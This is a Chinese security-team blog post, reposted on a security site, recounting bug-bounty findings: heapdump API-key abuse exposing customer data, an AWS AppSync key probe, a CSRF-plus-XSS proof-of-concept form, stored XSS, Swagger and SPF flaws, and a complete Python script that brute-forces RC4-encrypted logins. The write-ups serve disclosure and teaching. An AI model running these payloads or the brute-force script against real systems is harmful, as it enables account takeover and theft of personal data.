分享一些以前挖掘的src案列

admin 2025年3月14日12:53:48评论2 views字数 4293阅读14分18秒阅读模式
关注公众号,输入“学习交流”加入交流群
觉得不错的话,可以多点赞、分享、关注关注
分享一些以前挖掘的src或者众测的案例,主要也是多注意观察,为了避免出问题厚码了。

1.heapdump->接管全站数据

首先通过被动扫描,扫到一个多级目录下面泄露/actuator/heapdump,这里通过JDumpSpider[1]进行解密,首先是看到一个sqlserver的数据库泄露账号密码,虽然他是公网的,但是尝试连接发现好像进行了白名单ip限制

分享一些以前挖掘的src案列

失败无过后,继续寻找可以尝试利用的点,发现一个命令recman.apiKey的东西,经过网络搜索发现recman是一个存储客户信息的网站

分享一些以前挖掘的src案列

这里去翻找他的api文档,尝试利用该apikey,找到了该文档的查询api这个会泄露客户的敏感信息手机号、姓名、邮箱等等

分享一些以前挖掘的src案列

放入key,尝试利用发现成功泄露了大量客户信息经过计算大概十几万吧,而且发现也有删除、修改等等api,等于是接管一个数据库

分享一些以前挖掘的src案列

最后成功评级Critical(严重),厂家也成功接收

分享一些以前挖掘的src案列

2.aws_graphql key泄露利用

被动扫描的时候,经过js的时候,发现泄露aws_graphql key

是这样的形式AWS:{APPSYNC_ID:"一堆字母",APPSYNC_API_KEY:"da2-一堆数字字母"}

分享一些以前挖掘的src案列

发现还确实一些东西,继续翻js,成功找到他对接的url以及X-FAKE-USER-ID,部分用*代替

https://${n.a.AWS.APPSYNC_ID}.***.amazonaws.com/graphql

因为没怎么遇到过,这里去查询他的api文档尝试利用

分享一些以前挖掘的src案列

首先使用查看是否存活,这里可以看到请求成功了

curl -XPOST -H "Content-Type:application/graphql" -H "x-api-key:da2-*****" -H "X-FAKE-USER-ID:c***" -d '{"query":"query {n__typename}"}' https://*****.amazonaws.com/graphql

分享一些以前挖掘的src案列

后面继续利用,发现没有什么数据,就是一个测试用的graphql,最后请求了一下看了一下权限就提交了,有一定的权限

分享一些以前挖掘的src案列
分享一些以前挖掘的src案列

3.post-xss+csrf -> rxss

在一次测试中,发现get的某个参数可能可以绕过造成xss,因为对双引号没有被进行编译,所以可以绕过,而且在script标签下面可以直接执行

分享一些以前挖掘的src案列

但是后续发现有waf,单纯的html注入是不收,然后就是就是漫长的绕waf,但是绕了1个小时还没过去,说实话真比国内难绕多了。

便尝试get变post转换输入方式,看看能否绕过waf,发现随随便便无waf拦截,而且也传入进去了,但是post-xss算是self-xss无危害,我们需要和其他漏洞利用增加危害。

分享一些以前挖掘的src案列

经过测试发现存在csrf可以结合起来利用,造成的危害确实也就等于反射xss

<formaction="https://*******"method="POST">  <inputtype="hidden"name="searchTerm"value=""-alert(1)-"" />  <inputtype="submit"value="Submit request" /></form><script> document.forms[0].submit(); </script> 

4.存储xss-rxss危害

这个项目吧,不收反射xss,所以很多人不去关注xss漏洞,这给我捡漏了,但是吧这个属于私有类的项目,所以能搞的人也不算多。

分享一些以前挖掘的src案列

这里登录网站后,来到收藏夹,新建一个收藏夹,经过测试名字那里可以通过'">闭合,导致xss

分享一些以前挖掘的src案列

但是吧,这种就算csrf他也是属于反射xss不收,而且它做了设置不能进行csrf,慢慢翻,发现还有一个分享功能,这里分享我们的收藏夹,发现果然成功解析了,存储xss但是只有反射xss的危害

分享一些以前挖掘的src案列

最后厂家也是成功接收了,中危也发了赏金。

分享一些以前挖掘的src案列

5.swagger -> 全站信息泄露

经过被动扫描,发现有一个站泄露swagger页面,全站接口未做鉴权,但是他的接口参数配置,经过尝试不是简单的123,是需要别的内容配合起来,才能利用,所以那时候将这个先留存了起来。

后续测试别的站的途中,发现有一个找回密码的功能,根据找到的手册,翻找到了一个测试账号,然后进行拦包查看,发现employeenumber这个参数好像就是swagger的接口一样的参数。

分享一些以前挖掘的src案列

返回之前swagger进行测试,发现成功获得了个人信息,按照这种规则可以获得全部内部人员信息,同样也有E开头之类的。

分享一些以前挖掘的src案列

然后根据这里的参数,加以配置,也只用于添加用户、删除用户之类的,最后评级一般业务高危。

分享一些以前挖掘的src案列

6.SPF邮箱伪造

详细操作可以看https://mp.weixin.qq.com/s/UFUBRg3BL1EMy0urkb6xxA 这篇文章

首先经过检测发现有MX记录,而且没有设置SPF

分享一些以前挖掘的src案列
分享一些以前挖掘的src案列

随便发了一个测试伪造的邮箱,核心中危到手

分享一些以前挖掘的src案列

7.大量图片泄露敏感exlf信息

详细操作可以看https://mp.weixin.qq.com/s/qswULPJSOw6iMGb_5PRfWQ 这篇文章

    首先查看主站的时候,发现有子链接中,有一个展示该手机用户上传照片的网站,我们下载图片,检测发现基本都泄露了敏感的exlf信息,就是拍摄该图片的GPS定位具体地址,最后也是核心中危了。

分享一些以前挖掘的src案列

8.一次js分析

记录一次js爆破分析,首先发现可以根据查询账号,可以知道账户是否存在。

分享一些以前挖掘的src案列

然后收集爆破成功的账号

分享一些以前挖掘的src案列

尝试去爆破密码,结果发现密码存在一个加密

分享一些以前挖掘的src案列

这里我们通过f12拦包,然后这里搜索pwd

猜测加密方式应该是在logic_new.js里面分享一些以前挖掘的src案列这里我们可以看到,这里有一个do_encrypt_rc4的函数是对pwd进行加密的,rckey应该是key值

new Date() 是获取当前时间,直接new Date()是给你格式化好的,+(new Date()) + '' 是给你时间戳

分享一些以前挖掘的src案列

这里找到了加密函数,这里我们简单分析,简单理解就是rc4加上16进制

这是一个使用RC4算法进行加密的JavaScript函数:    该函数接收两个参数:要加密的数据(src)和用于加密的密码(passwd)。    在函数中,首先将src和passwd分别转换为字符串并去掉两端空格。    然后,定义了一些变量,如i,j,ab,c和temp等等。    然后就是RC4算法    最后,将加密后的十六进制数据保存在output数组中,并将其连接为一个字符串并返回。

接下来,要去获取key,这里我们可以知道key就是一个时间戳

分享一些以前挖掘的src案列

接下来,要去获取key,这里我们可以知道key就是一个时间戳

分享一些以前挖掘的src案列

这里看到这个就是我们的密文了,我们只要按照这个加密来搞就可以了

分享一些以前挖掘的src案列

这里我们拦截一个包来验证,这里可以看到auth_tag好像就是时间戳,我们看看

分享一些以前挖掘的src案列

验证成功,这里我们按照这种方式写脚本加密爆破

分享一些以前挖掘的src案列

最后简单编写一个脚本进行爆破,这里给脚本加上注释

import threading  # 导入 threading 库,用于实现多线程import requests  # 导入 requests 库,用于发送 HTTP 请求import re  # 导入 re 库,用于正则表达式匹配def do_encrypt_rc4(src, passwd):    # 定义 RC4 加密函数    src = src.strip()  # 去除字符串前后的空格    passwd = str(passwd)  # 将密码转化为字符串类型    plen = len(passwd)  # 计算密码长度    size = len(src)  # 计算原始字符串长度    key = [ord(passwd[i % plen]) for i in range(256)]  # 生成密钥,每个字符对应一个 ASCII 码    sbox = [i for i in range(256)]  # 初始化 S-box    j = 0    for i in range(256):        j = (j + sbox[i] + key[i]) % 256  # 根据密钥调整 S-box        sbox[i], sbox[j] = sbox[j], sbox[i]    a = b = c = 0    output = []  # 初始化输出    for i in range(size):        a = (a + 1) % 256        b = (b + sbox[a]) % 256        sbox[a], sbox[b] = sbox[b], sbox[a]        c = (sbox[a] + sbox[b]) % 256        temp = chr(ord(src[i]) ^ sbox[c])  # 用 RC4 算法对字符进行加密        output.append(temp)    return ''.join([format(ord(o), '02x'for o in output])  # 返回十六进制格式的加密结果def reposes(url, ang):    # 定义发送请求的函数    data = {        'opr''pwdLogin',        'userName': ang,        'pwd': do_encrypt_rc4('需要爆破的密码'1680759455576),  # 获得密文        'auth_tag'1680759455576,  # 我们定义的一个时间戳        'rememberPwd''0'    }  # 定义请求参数    reqose = requests.post(url=url, data=data).text  # 发送 HTTP POST 请求    if "true" in reqose:  # 判断响应结果是否包含 "true"        ret = re.findall(r'd{7}', reqose)  # 使用正则表达式匹配响应结果中的账号信息        for i in ret:            print(f"账号:{i}n密码:需要爆破的密码")  # 输出账号和密码def main():    f = open(r"C:UserstestDesktop2.txt""r", encoding="utf-8").read()  # 读取指定路径下的文件    url = "http://test/ac_portal/login.php"  # 定义请求 URL    ang = re.findall(r'd{7}', f)  # 使用正则表达式匹配文件中的账号信息    for i in ang:        t = threading.Thread(target=reposes, args=(url, i,))        t.start()  # 使用多线程发送请求if __name__ == "__main__":    main()  # 主函数入

原文始发于微信公众号(深潜sec安全团队):分享一些以前挖掘的src案列

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月14日12:53:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享一些以前挖掘的src案列http://cn-sec.com/archives/3837930.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息